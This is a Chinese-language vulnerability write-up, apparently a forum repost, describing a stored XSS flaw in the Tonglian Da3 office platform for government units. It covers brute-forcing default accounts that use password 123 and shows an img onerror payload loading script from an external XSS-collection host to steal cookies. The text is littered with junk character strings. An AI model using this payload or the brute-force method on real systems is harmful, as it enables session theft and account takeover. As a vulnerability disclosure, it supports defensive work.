同联Da3协同办公平台后台通用储存型xss漏洞

admin

2 h- J( Z/ N* r $ M5 g( x9 W9 ]; n* n2 T; W . T1 S2 G' g( D7 W0 \ % K; C# H0 S6 M7 | 9 A0 L/ T+ k" r! z2 G' Z & |$ G$ Z: M0 @9 M8 }

同联Da3协同办公平台后台通用储存型xss漏洞 ( G) s9 d! r) e) N G7 ?" o

& b& b7 T. P) F: W 平台简介：

6 C) w1 ?: ~! ~

  5 L: ?0 x0 ], g

北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！

- a) ]* K" j6 H3 s6 C  

0 \- v- {5 c/ S& }* k$ S

6 h: G3 n9 [9 @, L 由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址： , m Y& r& r, b; U! d

  , `* a# [0 p$ Y5 ?

http://1.1.1.1:7197/cap-aco/#（案例2-）

$ z' I s1 O! p) e, \& I http://www.XXOO.com （案例1-官网网站）

4 A; S9 \1 L" |

漏洞详情:

- P, p' Z. M$ R5 H) s: P

9 z6 R) K: Z3 u  案例一、 5 }! u) e8 s; Z: ~3 B& z

初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试 1 B6 h7 O& G6 I6 L1 p/ r ~, \

- Y0 X5 @3 }) p

& Q( D8 V3 n; N; X7 }" F      首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图： ! p0 k2 j9 g4 E) H4 t

. Z/ x& A- l1 Z7 }& d% H/ |

3 u: e3 T. e1 l# D' q/ I$ ?/ Q& k$ a1 e   0 I& A! F& x; Z U I" A

0 y0 o" Y; x& S& E9 |8 X: j' e @ 8 d1 r+ B5 U: L

/ E! {1 J% V* V* J! _0 Y status为302即表示破解成功，然后找个破解成功的账号登录系统。然后在通知公告---通知公告发布-拟稿处存在储存型xss漏洞，我在编机器里填写好标题、选择人员，点html如图：

M% o1 V2 R3 |( e- `* o) }

 

然后插我们的xss跨站代码（经过测试发现过滤了好多标签，比如script，没过滤img、iframe标签），这里我们用img标签来测试，payload如下 3 L+ h7 l( v) ?( h

1 _/ _7 B$ U/ F3 X+ P: t

 

9 G; C4 X9 k6 w' q

<img src=x onerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.6kb.org/7OO7GQ?1510065652';>，如图：

; v3 @6 F; B' t5 `; }" M

' {: b# |( H2 X( Q2 }8 ]

6 a) B8 e! i R# r2 k 然后发送，接收cookie如图： ; F6 W4 z# y" m4 _' J0 S

4 ~; U* M! L4 b3 @ b

1 S r1 ?. f% Z$ Y' b   & W+ j5 v1 y; }) S+ J) @

' n0 u: @. \+ Q   . }2 c" @% y3 c& z9 N! _$ F

; K2 Q) h) x. h3 O. Y# n  

 

0 w; [3 } Q3 t# g. R' x# d3 V+ i + e' I. a, X$ E9 m$ v

: r6 \2 u/ A, |1 J: m: W- ]

8 f, b& U8 e& _+ m2 }/ L

, {- |5 L0 e' o/ b' G4 c   8 `) [: Y$ J/ a! C( ]

3 h4 u% _$ N. u( l+ T: m 案例2、 / \/ C7 o; f8 V2 }5 h5 F- ~

9 q: l) k- p ]9 k

前面步骤都一样，下面看效果图：

* K( O/ r$ } l; r. @# r0 u

6 ?+ c! G; i' q b4 f8 H1 _

" n. O b4 L. F3 n5 l& ~   ( L; J/ C( H9 K8 Q/ ~

  : `: M0 _( o# V) X( ^7 q

1 a+ A6 L- O9 f s

 

7 E/ }' D4 }/ [3 R2 b

' F0 G, N$ j9 s3 N, B% M' _   . M, z9 R) ^4 k6 y3 i

1 a6 [2 e8 E. \4 F% ~ D# G

# x" V; I4 H# }& n0 O+ C/ a) }   1 k- j* W( x4 g- h

  : z8 r; ^# \& X& f3 n% Q